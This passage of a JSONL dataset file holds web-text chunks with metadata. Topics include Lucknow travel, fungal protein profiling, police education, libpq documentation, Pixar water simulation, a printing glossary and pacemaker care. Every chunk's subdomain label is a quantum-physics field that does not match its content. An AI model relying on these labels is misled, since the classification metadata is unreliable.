the city was around 4, 875, 858. the climate of lucknow is of the typical warm sub tropical. the summers here are quite dry and the temperature ranges from 40 to 45 degree celsius. the winters are cold and dry and the maximum temperature in winter is around 21 degree celsius and sometimes it falls up to 3 to 4 degree celsius. the city has the history of the shahi nawabs ruling the region for almost two centuries. your contribution can be useful for other tourists more travel guides in india : more information india : ongole can be referred to as a big town as well as a \u2018 selection grade municipality next to corporation \u2019 in prakasam district, andhra pradesh, india. ongole is known for... guntur can be mentioned as a city as well as municipal corporation within andhra pradesh, india. guntur lies at a distance of 64 km on the northern side of \u2018 bay of...", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3922645377997068, "token_count": 330, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.817895"} {"text": "biological sciences division chemical probe finds fungal organism function activity - based protein profiling suggests how fungus becomes pathogenic aspergillus fumigatus is a common fungus. most people breathe in its spores every day without being affected ; however, in people with lung diseases or weakened immune systems, it causes the disease aspergillosis. photo courtesy of the centers for disease control results : two unique chemical probes designed at pacific northwest national laboratory are helping scientists find how a pathogenic organism responsible for a severe lung infection thrives in human serum. these probes use multiplexed activity - based protein profiling ( abpp ), which revealed significant changes in aspergillus fumigatus metabolism and stress response when placed in culture with human serum over time. why it matters. a. fumigatus spores are ubiquitous in the atmosphere, and everybody inhales an estimated several hundred spores each day. but for people whose immune response is compromised from taking immunosuppressive drugs, by irradiation or malnutrition, or by diseases such as cancer or aids, this opportunistic pathogen is responsible for pulmonary invasive aspergillosis ( ia ). patients with ia are usually critically ill, and the disease is difficult to cure. the pnnl team hypothesized that a. fumigatus uses human serum, the clear fluid that remains after blood is allowed to clot, as a nutrient and that enzyme activity within the serum impacts the organism ' s metabolism, nutrient sensing, and scavenging response within an immunocompromised host environment. they simultaneously used two novel activity - based chemical probes they designed and constructed to target the reactivity of a. fumigatus during growth. the team found that probe - protein reactivity changes in the presence or absence of human serum. the information provides valuable insight into how a. fumigatus survives in a host environment on a fundamental level. during the course of ia, the fungus ' filamentous structure breaches host tissue and interacts with serum, where it readily grows because of its unique ability to extract iron from human transferrin in an iron - limited environment. furthermore, a. fumigatus can use serum proteins as building blocks for growth, but the full effect of serum on its cellular processes and its relevance to disease are not fully understood. \" we are demonstrating that we can compare two systems or one organism under multiple conditions to tease out more information about protein regulation, \" said dr. susan wi", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5144325720407046, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.823624"} {"text": "the full effect of serum on its cellular processes and its relevance to disease are not fully understood. \" we are demonstrating that we can compare two systems or one organism under multiple conditions to tease out more information about protein regulation, \" said dr. susan wiedner, a pnnl linus pauling distinguished postdoctoral fellow, and lead author of the paper published in the journal of biological chemistry. the scientists wanted to determine which proteins interact with a small - molecule activity - based probe. \" we found that under two different growth conditions, the number and identity of proteins that interact with the probes change drastically, \" said wiedner. \" we could measure the abundance of probe - labeled proteins by liquid chromatography - mass spectrometry ( lc - ms ) - based proteomics and see profiles of labeled proteins based on growth condition. \" methods : various approaches to lc - ms - based proteomics have emerged. in a typical global analysis, thousands of proteins are measured from a complex proteome. however, by using abpp, scientists can target a subset of a few hundred proteins from the complex proteome. \" abpp is a more directed approach than using global proteomics, \" said wiedner. \" we can look at the difference of probe - labeled protein abundances among various systems and conditions. this then tells us more about the system ' s biology, such as the differences between probe - reactivity of metabolic proteins. some fungal proteins interact more with the probe in the presence of human serum, which tells us something about what metabolism might be doing under those conditions. \" a direct comparison of a global analysis and an abpp analysis showed differences in measured proteins detected by abpp that were not detected by global analysis. in turn, this can lead to more in - depth studies such as generating gene knock - out mutants and performing enzymatic assays, all of which could be used to develop effective treatments and detection of ia. over the last two decades, abpp development has been a growing but still - small field. pnnl has one of the groups working on this, led by pnnl chemist dr. aaron wright, senior author on this paper. see sidebar for description. enlarge image what ' s next : currently, pnnl scientists are developing abpp probes and supporting bioinformatics capabilities to measure cellulose degradation in microbial communities. abpp can be useful for a variety of things including target validation of drug candidates and protein inhibitor discovery", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5330331610857248, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.824629"} {"text": "currently, pnnl scientists are developing abpp probes and supporting bioinformatics capabilities to measure cellulose degradation in microbial communities. abpp can be useful for a variety of things including target validation of drug candidates and protein inhibitor discovery. said wright, \" probes can compete with known drugs for protein - binding sites, which results in drug target and drug off - target validation. some probes are broad, like those used in this study. but some can be very selective for an enzyme class. we can design the probe based on the enzyme class being targeted. we used a multiplexed approach here, where two probes were used simultaneously to target more than one type of protein. previous studies only use one abp at a time for proteome analysis. \" sponsors : the work was funded by the national institutes of health ' s national center for research resources and national institute of general medical sciences, and pnnl ' s laboratory directed research and development program. the work used instrumentation and capabilities developed under support from nih and the u. s. department of energy office of biological and environmental research ( doe - ber ). work was performed in the environmental molecular sciences laboratory, a doe - ber national scientific user facility at pnnl. widener was supported by pnnl ' s linus pauling distinguished postdoctoral fellowship. user facility : emsl research team : susan wiedner, aaron wright, kristin burnum, leeanna pederson, lindsey anderson, suereta fortuin, lacie chauvigne - hines, anil shukla, charles ansong, ellen panisko, and richard d. smith, all pnnl. pederson was a suli intern, and fortuin was a visiting scientist from the university of stellenbosch, south africa. reference : wiedner sd, ke burnum, lm pederson, ln anderson, s fortuin, lm chauvigne - hines, ak shukla, c ansong, ea panisko, rd smith, and at wright. 2012. \" multiplexed activity - based protein profiling of the human pathogen aspergillus fumigatus reveals large functional changes upon exposure to human serum. \" the journal of biological chemistry 287 ( 40 ) : 33447 - 33459. doi : 10. 1074 / jbc. m112. 394106.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5193671219744859, "token_count": 493, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.825492"} {"text": "he training of police officers in the last century focused mainly on the physical aspects of the job. officers were expected to be reactive, appearing in a community only when a situation had gotten out of control. they adhered to a militaristic chain of command and were not encouraged to find creative solutions to neighbor - hood problems. in that milieu, many departments considered a high school degree all the academic preparation that was necessary to be an efficient officer. but as the new century brings new challenges and new opportunities for police officers, it also requires the police profession as a whole to reevaluate its educational requirements. the change \" when i became an arlington, texas, police officer in 1983, officers were expected to be submissive to authority and follow policy and supervisory directions, \" recalls theron bowman, now police chief of arlington. \" policies attempted to address every conceivable situation so as to release officers from the necessity of thinking for themselves. decisions were made at the top of the organization. communication flowed mostly one - way : from the top down. that authoritarian style of management stifled creativity and innovation but was necessary when employees were expected to fail. today, we have greater respect for the autonomy of police officers. we recognize that police officers must be able to understand and apply the law, the nature of social problems, and the psychology of the persons whose attitude toward the law may differ from theirs. \" 2 the current emphasis on community policing requires today ' s officer to be proactive, working together with local residents to ensure a neighborhood ' s quality of life. community officers are no longer expected simply to show up to make arrests but are required to have the skills necessary to keep minor situations from escalating into major ones. to mesh effectively with the court system, officers must have a solid understanding of constitutional issues and a commitment to keep up with judicial rulings that affect police. in addition to knowledge of weapons and police procedure, today ' s officer must be sensitive to social issues, be a good communicator, and be skilled in conflict resolution. these higher - level skills require a higher level of education than was previously necessary. \" it is important that criminal justice practitioners earn at least a bachelor ' s degree, \" notes dr. susan hilal, assistant professor of criminal justice at the university of wisconsin - platteville. \" among other things, it allows students to become better critical thinkers, improve on their writing and oral skills, and have a broader perspective of the world. criminal justice agencies can teach new hires the technical side", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.46012090260355964, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.843659"} {"text": "at the university of wisconsin - platteville. \" among other things, it allows students to become better critical thinkers, improve on their writing and oral skills, and have a broader perspective of the world. criminal justice agencies can teach new hires the technical side of the job. it is much harder to teach new recruits how to think, speak, and write critically. \" the importance of requiring some college education for police officers is highlighted by research that indicates that more educated officers are less likely to be disciplined for unprofessional behavior. in a study con - ducted in florida, researchers reviewed the disciplinary records of that state ' s police officers from 1997 to 2002. they discovered that officers whose highest educational attainment was a high school diploma constituted 58 percent of florida ' s officers but were the subjects of 75 percent of the disciplinary measures. 3 a similar study in new york city found that of the officers arrested for corruption from 1993 to 1997, 86 percent had less than two years of college education. 4 obtaining a degree nationally, more law enforcement agencies are requiring at least some college for their new hires and advanced degrees for those seeking promotions, motivating many experienced officers to consider returning to school. but upgrading professional skills can be difficult for working adults who must deal with unpredictable shifts, time - consuming commutes to school, and family obligations. in fact, these obstacles can make earning an advanced degree in a traditional campus program nearly impossible. for many officers, earning a degree online may be the only realistic choice. studying at a distance often requires more self - motivation than attending cam - pus courses, but the flexible schedule allows nontraditional students to more easily meet work and family obligations. many online programs employ asynchronous communication, which means that students are free to enter the virtual classroom at any time of the day that is convenient for them. although online courses may seem to be a solitary learning experience, many online students are surprised to learn that they can join a virtual classroom community through e - mail and discussion boards. because the students and the instructor are likely to live n different parts of the country - or different countries - there is an added opportunity for professionals to network with others in their field. courses often include some type of group experience, such as collaborative projects, that allow students to interact across the miles. deb rice, 2004 alumna of the university of wisconsin - platteville ' s master of criminal justice program, notes that the diverse group of students she encountered in her online courses impressed her. \" i had federal", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4925602254437149, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.845370"} {"text": "to interact across the miles. deb rice, 2004 alumna of the university of wisconsin - platteville ' s master of criminal justice program, notes that the diverse group of students she encountered in her online courses impressed her. \" i had federal correctional officers, juvenile workers, state and federal probation officers, fbi agents, police officers, and private security officers in my classes, \" she says. \" distance learning is the only way this diverse population would be in your classroom. you really get to know your classmates, even though i have never met them in person. \" despite its many benefits, learning at a distance is not easy and is not for every - one. successful distance learners must be highly motivated, independent, and self - disciplined. good organizational and time management skills are vital, as students are generally responsible for making and keeping their own schedules. without a strong sense of commitment to keep them going, the path to an advanced degree may seem too distant for some. self - rewards for keeping to a schedule are important, as is free time spent alone and with family and friends. basic computer skills are generally necessary before pursuing an online education. many online degree programs offer sample courses for prospective students to try before committing to the format. one such sample course can be viewed at ( http : / / learn. wisconsin. edu / course. asp ). like most fields, online education has its share of fly - by - night providers. unfortunately, anyone can offer an online school and many unscrupulous companies compete to lure unsuspecting students to their web sites. fraudulent schools often have legitimate - looking web sites and professional - looking brochures. they may even advertise in mainstream magazines and newspapers. some go so far as to announce that they are accredited, but further investigation reveals that the accrediting body is either fictitious or not recognized by any official education agency. it is a good idea to research a school ' s accreditation and its history before enrolling. beware of so - called diploma mills that offer degrees for lots of money and little work. to avoid wasting time and money on a degree that will not be accepted by other schools or by prospective employers, investigate accreditation and licensing before enrolling in any distance - learning program. a visit to a site such as ( geteducated. com ) - an online clearinghouse for legitimate distance learning programs - is crucial before deciding on an online school. those wishing to verify a school ' s accreditation may wish to visit the diploma mill police at ( www", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5240564104287568, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.847523"} {"text": "such as ( geteducated. com ) - an online clearinghouse for legitimate distance learning programs - is crucial before deciding on an online school. those wishing to verify a school ' s accreditation may wish to visit the diploma mill police at ( www. geteducated. com / services / diplomamillpolice. asp ). \u25a0 1 dale keiger, \" top cops hit the books, \" john hopkins magazine ( june 1997 ), ( www. jhu. edu / ~ jhumag / 0697web / cops. html ), may 5, 2006. 2 theron bowman, \" diversity, education, and professionalism : arlington ' s path to excellence in policing, \" lecture, heritage foundation, washington, d. c., october 24, 2001, ( www. heritage. org / research / crime / hl719. cfm ), june 21, 2006. 3 scott cunningham, panel discussion, 110th annual iacp conference, october 2003, ( www. police - association. org / library / presentations / law _ enforcement. html ), may 6, 2006. 4 police association for college education, \" studies, case law, quotes, standards and trends in support of a college education for police officers, \" march 18, 2004, ( www. police - association. org / library / articles / information _ paper. html ), may 6, 2006.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.46038932712854885, "token_count": 288, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.848450"} {"text": "in his sacred journeys in a modern world, roger housden writes that travelers in the sahara often wear a long scarf called a jelaba as protection from the elements. that makes sense. however, some who live in the desert believe the jelaba also keeps evil spirits from entering the mouth or nose. no - nonsense types dismiss such spiritual concerns as a harking back to the dark ages, thus having little or nothing to do with 2013. not so fast. the passage mentioned above is memorable because i once knew a southern illinoisan who refused to whistle for fear the devil would slip into his person by way of the melody. others likely believed the same. it could be a few still do. with hazards of whistling in mind, i turn to proverbs and proverbial phrases of illinois, a useful work to have on hand whether in a whistling mood or not. published by siu press in 1965, and edited by frances m. barbour, the book is crowded with print so small it is barely readable without a magnifying glass. the final word is at hand, or is it? expecting a wealth of devil / whistling references, i find the following : 1. clean as a whistle. 2. keen as a whistle. 3. slick as a whistle. 4. you can \u2019 t make a whistle out of a pig \u2019 s tail. also included, is that old standby \u201c whistling in the dark, \u201d which happens to be a line by john dryden, the poet and scholar who so detested sentences ending with prepositions, most of us still shy away from such usage, that according to c. s. lewis. if we rely on folk sayings handed down, ( and who among us doesn \u2019 t? ) it would appear whistling is a minor pleasantry, no more or less important than whittling, or doodling, or watching tv. but what if folk sayings merely gloss the surface? that question returns us to the beginning, i. e., the quaint conviction held by a few that the act of whistling is too dark an invitation ever to be extended. it does sound pretty odd. too bad we don \u2019 t have john dryden to solve this burning question once and for all. of course, if still alive dryden would probably not respond, busy far too busy weeding prepositions from the tail end of sentences.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4948016724337095, "token_count": 489, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.850948"} {"text": "these functions can be used to interrogate the status of an existing database connection object. tip : libpq application programmers should be careful to maintain the pgconn abstraction. use the accessor functions described below to get at the contents of pgconn. reference to internal pgconn fields using libpq - int. h is not recommended because they are subject to change in the future. the following functions return parameter values established at connection. these values are fixed for the life of the pgconn object. returns the database name of the connection. char * pqdb ( const pgconn * conn ) ; returns the user name of the connection. char * pquser ( const pgconn * conn ) ; returns the password of the connection. char * pqpass ( const pgconn * conn ) ; returns the server host name of the connection. char * pqhost ( const pgconn * conn ) ; returns the port of the connection. char * pqport ( const pgconn * conn ) ; returns the debug tty of the connection. ( this is obsolete, since the server no longer pays attention to the tty setting, but the function remains for backward compatibility. ) char * pqtty ( const pgconn * conn ) ; returns the command - line options passed in the connection request. char * pqoptions ( const pgconn * conn ) ; the following functions return status data that can change as operations are executed on the pgconn object. returns the status of the connection. connstatustype pqstatus ( const pgconn * conn ) ; the status can be one of a number of values. however, only two of these are seen outside of an asynchronous connection procedure : connection _ ok and connection _ bad. a good connection to the database has the status connection _ ok. a failed connection attempt is signaled by status connection _ bad. ordinarily, an ok status will remain so until pqfinish, but a communications failure might result in the status changing to connection _ bad prematurely. in that case the application could try to recover by calling see the entry for pqconnectpoll with regards to other status codes that might be returned. returns the current in - transaction status of the server. pgtransactionstatustype pqtransactionstatus ( con", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.525624607949938, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.857157"} {"text": "the entry for pqconnectpoll with regards to other status codes that might be returned. returns the current in - transaction status of the server. pgtransactionstatustype pqtransactionstatus ( const pgconn * conn ) ; the status can be pqtrans _ idle ( currently idle ), pqtrans _ active ( a command is in progress ), pqtrans _ intrans ( idle, in a valid transaction block ), or pqtrans _ inerror ( idle, in a failed transaction block ). pqtrans _ unknown is reported if the connection is bad. pqtrans _ active is reported only when a query has been sent to the server and not yet completed. looks up a current parameter setting of the server. const char * pqparameterstatus ( const pgconn * conn, const char * paramname ) ; certain parameter values are reported by the server automatically at connection startup or whenever their pqparameterstatus can be used to interrogate these settings. it returns the current value of a parameter if known, or null if the parameter is not known. parameters reported as of the current release include server _ version, server _ encoding, client _ encoding, application _ name, is _ superuser, session _ authorization, datestyle, intervalstyle, timezone, integer _ datetimes, and standard _ conforming _ strings. ( server _ encoding, timezone, and integer _ datetimes were not reported by releases before 8. 0 ; standard _ conforming _ strings was not reported by releases before 8. 1 ; intervalstyle was not reported by releases before 8. 4 ; application _ name was not reported by releases before 9. 0. ) note that server _ version, server _ encoding and integer _ datetimes cannot change after startup. pre - 3. 0 - protocol servers do not report parameter settings, but libpq includes logic to obtain values for server _ version and client _ encoding anyway. applications are encouraged to use pqparameterstatus rather than ad hoc code to determine these values. ( beware however that on a pre - 3. 0 connection, changing client _ encoding via set after connection startup will not be pqparameterstatus. ) for server _ version, see also pqserverversion, which returns the information in a numeric form that is much easier to if no value for", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.50340755515155, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.858063"} {"text": "client _ encoding via set after connection startup will not be pqparameterstatus. ) for server _ version, see also pqserverversion, which returns the information in a numeric form that is much easier to if no value for standard _ conforming _ strings is reported, applications can assume it is off, that is, backslashes are treated as escapes in string literals. also, the presence of this parameter can be taken as an indication that the escape string syntax ( e '... ' ) is accepted. although the returned pointer is declared const, it in fact points to mutable storage associated with the pgconn structure. it is unwise to assume the pointer will remain valid across queries. interrogates the frontend / backend protocol being used. int pqprotocolversion ( const pgconn * conn ) ; applications might wish to use this function to determine whether certain features are supported. currently, the possible values are 2 ( 2. 0 protocol ), 3 ( 3. 0 protocol ), or zero ( connection bad ). the protocol version will not change after connection startup is complete, but it could theoretically change during a connection reset. the 3. 0 protocol will normally be used when communicating with postgresql 7. 4 or later servers ; pre - 7. 4 servers support only protocol 2. 0. ( protocol 1. 0 is obsolete and not supported by libpq. ) returns an integer representing the backend version. int pqserverversion ( const pgconn * conn ) ; applications might use this function to determine the version of the database server they are connected to. the number is formed by converting the major, minor, and revision numbers into two - decimal - digit numbers and appending them together. for example, version 8. 1. 5 will be returned as 80105, and version 8. 2 will be returned as 80200 ( leading zeroes are not shown ). zero is returned if the connection is bad. returns the error message most recently generated by an operation on the connection. char * pqerrormessage ( const pgconn * conn ) ; nearly all libpq functions will set a message for pqerrormessage if they fail. note that by libpq convention, a result can consist of multiple lines, and will include a trailing newline. the caller should not free the result directly. it will be", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5613217426967645, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.859103"} {"text": "message for pqerrormessage if they fail. note that by libpq convention, a result can consist of multiple lines, and will include a trailing newline. the caller should not free the result directly. it will be freed when the associated pgconn handle is passed to pqfinish. the result string should not be expected to remain the same across operations on the obtains the file descriptor number of the connection socket to the server. a valid descriptor will be greater than or equal to 0 ; a result of - 1 indicates that no server connection is currently open. ( this will not change during normal operation, but could change during connection setup or reset. ) int pqsocket ( const pgconn * conn ) ; returns the process id ( pid ) of the backend process handling this connection. int pqbackendpid ( const pgconn * conn ) ; the backend pid is useful for debugging purposes and for comparison to notify messages ( which include the pid of the notifying backend process ). note that the pid belongs to a process executing on the database server host, not the local host! returns true ( 1 ) if the connection authentication method required a password, but none was available. returns false ( 0 ) if not. int pqconnectionneedspassword ( const pgconn * conn ) ; this function can be applied after a failed connection attempt to decide whether to prompt the user for a password. returns true ( 1 ) if the connection authentication method used a password. returns false ( 0 ) if not. int pqconnectionusedpassword ( const pgconn * conn ) ; this function can be applied after either a failed or successful connection attempt to detect whether the server demanded a password. returns the ssl structure used in the connection, or null if ssl is not in use. ssl * pqgetssl ( const pgconn * conn ) ; this structure can be used to verify encryption levels, check server certificates, and more. refer to the openssl documentation for information about this structure. you must define use _ ssl in order to get the correct prototype for this function. doing so will also automatically include ssl. h from openssl.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5763790501655155, "token_count": 483, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.859936"} {"text": "pixar faced some unique challenges in bringing their scottish river to life in the film \" brave \". not only did they have to construct, simulate and render a convincing and beautiful mountain river with a waterfall, they also had to have a girl and a huge bear interact with it. at their presentation during the \" wild rides \" talk at siggraph 2012 they gave some insights into how they approached this situation. one main problem with simulating any body of freely flowing water is that the simulation resolution, the fineness of detail, needed to provide a convincing interaction with character animation is very expensive. the coarseness of what might work to capture the feel of the overall river set location wouldn ' t be nearly fine enough to capture the nuances of how the water needs to flow around the characters. and the resolution needed to capture the character interactions would be prohibitively expensive to use on the larger scale. pixar solved this with the tried and true technique of divide how they approached this was ingenious. they defined regions where they needed higher resolution, for instance around the characters, and then defined what they called a \" windowed simulation \" in that spot. essentially it involves plopping a finer detail resolution simulation into the middle of the larger scale simulation and using the conditions of the larger to control the smaller. basically the boundary around the finer simulation gets data from the surrounding simulation and interpreted it as a series of faucets and drains that maintain the flow of water into and out of the region. they did this using the \" physbam \" physics computing engine. they found they had to add some additional artistic controls, like virtual hot - tub jets, to make all of the mathematical accuracy look good though. the result was a river of water that looked as though it had been simulated at an impossibly high resolution, and with even scott singer can be reached at : firstname. lastname @ example. org.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5303633095222491, "token_count": 390, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.864310"} {"text": "this dictionary covers graphic design, prepress and print terminology. stan schwartz supplied most of the terms of this online glossary. abbreviation for magenta, one of the colors used in full color printing. abbreviation for media access control : unique address ( number ) build into each network interface card. it is sometimes referred to as the hardware or physical address. it can be found in either the properties of the network card or by typing \u2018 ipconfig / all \u2019 in the command window of windows. the ethernet connection in my system has mac address 00 - 20 - 18 - 2b - ba - 43. paper that has had a coating applied to either one or two of its sides during the papermaking process. an alternate term for grain direction. a paper finish that results from the interaction of the paper with the fourdrinier process as opposed to post machine embossing. reference, fourdrinier any number of keyboard characters that have been programmed and assigned to a single key. when the programmed key is pressed, all of the characters that were programmed and stored in the macro are played back, or executed exactly as if each character key in the macro were entered again. reddish color that is part of the cmyk colors that are used in 4 - color printing. the color is named after a small italian town, west of milan, in which napoleon iii won a battle over the austrians in 1859. to celebrate this victory, the french named the color that had been invented that same year after the city. black pigments containing black iron oxides, used for magnetic ink character recognition. synonym for uppercase or for a capital letter. the process of adjusting final plate on the press to fine tune or modify plate surface. in letterpress, makeready is done by building up or reducing the impression level under the tympan cylinder packing to make sure that all image area are type high. the ideal result is a \u201c kiss \u201d impression. abbreviation for metropolitan area network : a network that stretches across an entire city. late 15 - th century scholar and printer. he designed the bembo and cloister italic typefaces. of course we all know him because his portrait appeared on some many boxes of pagemaker and other aldus programs. the blank space bordering the printed area on a page. the marking of typesetting specifications or instructions on layout and copy for the typesetter to follow. - the credit box in a newspaper or periodical that lists the publication name, editors, writers, designers, illustrators, photographers,", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.522051450649181, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.871348"} {"text": "a page. the marking of typesetting specifications or instructions on layout and copy for the typesetter to follow. - the credit box in a newspaper or periodical that lists the publication name, editors, writers, designers, illustrators, photographers, and others, as well as the publication office address, subscription and advertising information, etc. - the title of a newspaper or periodical as it appears across the front cover, or title page of each issue. it is also called the nameplate. a photographic proof made from all color flats and form composite proof showing color qualityas well as accuracy, layout, and imposition before plates are made. a coated paper finish that goes through minimal calendaring. abbreviation for megabyte or megabit \u2013 a lowercase b should indicate megabit but not everybody sticks to this convention. a megabyte equals 1048576 bytes. the width of type as measured in picas. a term used to describe finished artwork that is camera ready for reproduction, including all type, photos, illustrations etc heidelbergs version of a chain screen a list of program demands and functions displayed on a computer \u2019 s monitor screen. in most layout programs, there are two ways to access the font \u2018 times italic. \u2019 the first way is to select a block of text, and assign it to the font \u2018 times italic. \u2019 the second way, known as \u2018 menu styling, \u2019 is to assign the block of text to the font \u2018 times \u2019 and then assign it the characteristic \u2018 italic. \u2019 in general, using menu styling is considered bad practice. data about data : metadata provide additional data about electronic files. these can include how the file was created ( e. g. the type of digital camera or layout application ), the creation date, the name of the author, copyright restrictions, the intended use, \u2026 the way in which two color samples can look the same in one lighting condition but different in another lighting condition. it can also refer to a single color sample that changes color under different lighting conditions. - a fine art, etching process that produces a \u201c burred \u201d surface - a line conversion of a photo that imitates a mezzotint effect. - a special halftone screen with a grainy look. the appearance of density variation between adjacent scan lines in an otherwise uniform pattern. microprinting is an anti - counterfeiting technique in which very small text is added to the artwork. a 2d barcode that is used for adding web links or other types of information to a", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5803311003749658, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.872486"} {"text": "between adjacent scan lines in an otherwise uniform pattern. microprinting is an anti - counterfeiting technique in which very small text is added to the artwork. a 2d barcode that is used for adding web links or other types of information to a printed page or a web page. the technology is somewhat similar to qr codes. the area between highlight and shadow area of a subject \u2019 s face in halftone image. colors or graylevels of intermediate value ( the range from 25 % to 75 % value ). \u2018 magnetic \u2019 ink, ink with iron particles that can be magnetized, used for check printing. - abbreviation for management of information services \u2013 the designation for the field of computer solutions internal to an organization. - abbreviation for management information system - a computer application or set of applications used for managing processing processes, such as costing, stock control or production control. abbreviation for multipurpose internet mail extensions \u2013 mime is a standard that allows the embedding of arbitrary documents and other binary data of known types ( images, sound, video, and so on ) into e - mail handled by ordinary internet electronic mail interchange protocols. type of web press that is used to print brochures, newsletters, and other products whose flat trim size is typically 11 by 17 inch. mini webs use rolls that are 11 to 14 inches wide. synonym for lowercase or for a lowercase letter. symbolic names or letter combinations that permit that one set of codes to represent a more complex, longer set or string of codes. a repetitive interference pattern. in printing, it can be caused by interference between the dot patterns of the different colors or by interference between a pattern in the data being printed and the screened dots. in scanning, moire can be caused by interference between the grid of the scanner ccds and patterns in the original that is being scanned. a cotton fabric used on the dampening rollers of a printing press. an ink pigment made from precipitating lead molybdate, lead sulfate and lead chromate. having or being of one color. having a single wavelength. laser beams have a narrow frequency range that is very nearly monochromatic. letterspacing that is the same for all characters regardless of their shape or width. courier is an example of a monospaced font. a single image made up of photographs or drawings. sound that the dogcow makes spotty or uneven ink absorption. abbreviation for motion pictures experts group : data compression standard for motion - video and audio coarse muslin glue", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.6160489652444558, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.873837"} {"text": "heart pacemaker - discharge cardiac pacemaker implantation - discharge ; artificial pacemaker - discharge ; permanent pacemaker - discharge ; internal pacemaker - discharge ; cardiac resynchronization therapy - discharge ; crt - discharge ; biventricular pacemaker - discharge when you were in the hospital you had a pacemaker placed in your chest to help your heart beat properly. - a small cut was made on your chest below your collarbone. the pacemaker generator was then placed under the skin at this location. - leads ( wires ) were connected to the pacemaker, and one end of the wires was threaded through a vein into your heart. the skin over where the pacemaker was placed was closed with stitches. most pacemakers have only one or two wires that go to the heart. these wires stimulate the right or left side of the heart when the heartbeat gets too slow. some pacemakers also can deliver electric shocks to the heart that can stop life - threatening arrhythmias ( irregular heartbeats ). this is called a \" cardioverter defibrillator. \" you should know what type of pacemaker you have. what to expect at home you will be given a card to keep in your wallet. - the card has information about your pacemaker and includes your doctor \u2019 s name and telephone number. it also tells others what to do in case of an emergency - you should always carry this wallet card with you. it will be helpful to any health care provider that you may see in the future because it says what kind of pacemaker you have. you should wear a medic alert bracelet or necklace that says you have a pacemaker. in a medical emergency, health care workers taking care of you should know you have a pacemaker. be careful around things with magnets most machines and devices will not interfere with your pacemaker. but some with strong magnetic fields may. always ask your doctor or nurse about any specific device that you need to avoid. do not put a magnet near your pacemaker. most appliances in your home are safe to be around. this includes your refrigerator, washer, dryer, toaster, blender, computers and fax machines, hair dryer, stove, cd player, remote controls, and microwave. you should keep several devices at least 12 inches away from the site where the pacemaker is placed under your skin. these include : - battery powered cordless tools ( such as screwdrivers and drills ) - plug - in power tools ( such as drills and table saw", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4685810604591535, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:10.877968"} {"text": "devices at least 12 inches away from the site where the pacemaker is placed under your skin. these include : - battery powered cordless tools ( such as screwdrivers and drills ) - plug - in power tools ( such as drills and table saws ) - electric lawn mowers and leaf blowers - slot machines - stereo speakers tell all health care providers that you have a pacemaker before any tests are done. some medical equipment may interfere with your pacemaker. stay away from large motors, generators, and equipment. do not lean over the open hood of a car that is running. also stay away from : - radio transmitters and high - voltage power lines - products that use magnetic therapy, such as some 